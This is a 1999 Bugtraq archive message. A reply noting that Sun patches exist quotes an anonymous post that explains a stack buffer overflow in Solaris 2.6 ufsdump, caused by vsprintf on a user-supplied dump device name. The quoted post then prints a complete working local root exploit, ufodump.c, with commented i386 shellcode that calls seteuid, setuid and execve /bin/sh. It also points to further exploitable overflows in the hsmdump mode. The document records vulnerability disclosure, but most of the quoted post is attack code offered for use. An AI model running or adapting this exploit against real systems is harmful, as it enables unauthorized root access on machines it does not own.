[8910] in bugtraq
Re: Revisiting ufsdump under Solaris 2.6
daemon@ATHENA.MIT.EDU (Scott)
Sun Jan 3 17:12:07 1999
Date: Sat, 2 Jan 1999 22:45:01 -0600
Reply-To: Scott <scott@bernadette.net>
From: Scott <scott@BERNADETTE.NET>
To: BUGTRAQ@NETSPACE.ORG
This vulnerability was patched over a month ago.
Patch 106793-01 SPARC
Patch 106794-01 x86
Both were available in early November.
Scott Stubbs
scott@bernadette.net
[]Date: Wed, 30 Dec 1998 23:43:35 +0100
[]Comments: This message did not originate from the Sender address above. It was
remailed automatically by anonymizing remailer software. Please report problems
or inappropriate use to the remailer administrator at <abuse@replay.com>.
[]From: Anonymous <nobody@REPLAY.COM>
[]Subject: Revisiting ufsdump under Solaris 2.6
[]X-To: smm@wpi.edu
[]To: BUGTRAQ@netspace.org
[]
[]A while back, in April and June of 1998, there was some chatter on Bugtraq
[]about the ufsdump and ufsrestore programs in Solaris 2.6. The first
[]posting came from Seth McGann who had managed to create a preliminary
[]exploit for ufsdump on the i386 platform. Seth's original post can be
[]found at:
[]
[] http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130
[]
[]Seth experienced some difficulties with his exploit and I thought I might
[]clarify some of his questions. To start with, yes, the i386 binary of
[]ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
[]a little bit more kung fu to get us a root shell.
[]
[]Just like rdist, ufsdump runs most of the time with an EUID and UID of
[]you, but retains a saved UID of root (thanks to its original SUID root
[]nature) which it uses to toggle its EUID between you and root as needed,
[]but only briefly and for small sections of code at a time. What does this
[]mean to you, the enterprising young exploit writer? You must use this
[]same mechanism to make sure your shell (or whatever else you plan to do)
[]gets exec'd as root. But there is one other step you must worry about.
[]The Bourne shell under Solaris performs checks of its EUID when it runs.
[]If the EUID of the shell is less than 100 and does not match the real UID,
[]the shell drops its privileges by reverting its EUID back to its real UID.
[]Do you see where this is leading? In your shell code you must do a
[]seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
[]when the overflow happened, as is the case with this particular ufsdump
[]hole), followed by a setuid(0) to fully become root, followed by your
[]execve() to get your shell. A fully functional exploit is included at the
[]end of this message. This very same shell code can be used in a rdist
[]exploit for Solaris 2.6 (i386), but I'll not post that today.
[]
[]Why don't I take this opportunity to put in a few jabs at Sun. What are
[]the engineers at Sun thinking? The buffer overflow exploit is not at all
[]a new or exotic technique, and their sorry coding practices make this type
[]of exploit surprisingly easy. What is the problem in ufsdump? In the
[]function msg(), vsprintf() is used to build an informational message to
[]display back to the user, but the buffer used to hold the message (1024
[]bytes in size) resides on the stack, and that is the key to the exploit.
[]Among the many calls to msg() in ufsdump, some calls used for creating
[]error messages include the erroneous input in the text of the message, and
[]this exploit tweaks one of those calls that uses a vsprintf format string
[]of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
[]get to provide the dump device name. That is not the only possible avenue
[]of attack, either. If ufsdump is invoked with an argv[0] of "hsmdump"
[]there are what appear to be even easier overflows of the U and O command
[]line options.
[]
[]Knock, knock, anybody home? Just imagine all the problems Sun would solve
[]if they replaced each of these vsprintf() and sprintf() calls in the
[]Solaris source tree with a simple vsnprintf() or snprintf() call. Is that
[]too much to ask from such a large and powerful organization like Sun with
[]deep pockets and lots of engineers?
[]
[]Okay, I'll shut up now. Here's the exploit code. An offset argument of
[]around -500 seems to work good for me. The ufsdump error message will
[]spill garbage all over your TTY, but just tap your enter key a couple of
[]times and enjoy your root shell, then be sure to send Sun your thanks.
[]
[] Your brother in arms,
[]
[] Cheez Whiz
[] cheezbeast@hotmail.com
[]
[]ufodump.c
[]
[]----- cut here ----- cut here ----- cut here ----- cut here -----
[]
[]/**
[]*** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
[]***
[]*** Tested and confirmed under Solaris 2.6 i386
[]***
[]*** Usage: % ufodump [offset]
[]***
[]*** where offset (if present) is the number of bytes to add to the stack
[]*** pointer to calculate your target return address; try -1000 to 1000 in
[]*** increments of 100 for starters. Thanks go to Seth McGann for the
[]*** original bug report and a preliminary exploit.
[]***
[]*** Cheez Whiz
[]*** cheezbeast@hotmail.com
[]***
[]*** December 30, 1998
[]**/
[]
[]#include <stdio.h>
[]#include <stdlib.h>
[]#include <string.h>
[]#include <unistd.h>
[]
[]#define BUFLEN 1100
[]#define NOP 0x90
[]
[]char shell[] =
[]/* 0 */ "\xeb\x48" /* jmp springboard */
[]/* syscall: */
[]/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
[]/* 9 */ "\xc3" /* ret */
[]/* start: */
[]/* 10 */ "\x5e" /* popl %esi */
[]/* 11 */ "\x31\xc0" /* xor %eax,%eax */
[]/* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */
[]/* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */
[]/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
[]/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
[]/* seteuid: */
[]/* 25 */ "\x31\xc0" /* xor %eax,%eax */
[]/* 27 */ "\x50" /* pushl %eax */
[]/* 28 */ "\xb0\x8d" /* movb $0x8d,%al */
[]/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
[]/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
[]/* setuid: */
[]/* 38 */ "\x31\xc0" /* xor %eax,%eax */
[]/* 40 */ "\x50" /* pushl %eax */
[]/* 41 */ "\xb0\x17" /* movb $0x17,%al */
[]/* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */
[]/* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */
[]/* execve: */
[]/* 51 */ "\x31\xc0" /* xor %eax,%eax */
[]/* 53 */ "\x50" /* pushl %eax */
[]/* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
[]/* 57 */ "\x53" /* pushl %ebx */
[]/* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */
[]/* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
[]/* 63 */ "\x53" /* pushl %ebx */
[]/* 64 */ "\xb0\x3b" /* movb $0x3b,%al */
[]/* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */
[]/* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
[]/* springboard: */
[]/* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */
[]/* data: */
[]/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
[]/* 87 */ "\xff\xff\xff\xff" /* DATA */
[]/* 91 */ "\xff\xff\xff\xff"; /* DATA */
[]
[]char buf[BUFLEN];
[]unsigned long int nop, esp;
[]long int offset = 0;
[]
[]unsigned long int
[]get_esp()
[]{
[] __asm__("movl %esp,%eax");
[]}
[]
[]void
[]main (int argc, char *argv[])
[]{
[] int i;
[]
[] if (argc > 1)
[] offset = strtol(argv[1], NULL, 0);
[]
[] if (argc > 2)
[] nop = strtoul(argv[2], NULL, 0);
[] else
[] nop = 800;
[]
[] esp = get_esp();
[]
[] memset(buf, NOP, BUFLEN);
[] memcpy(buf+nop, shell, strlen(shell));
[] for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
[] *((int *) &buf[i]) = esp+offset;
[]
[] printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
[] esp+offset, esp, offset, nop);
[] execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
[]
[] printf("exec failed!\n");
[] return;
[]}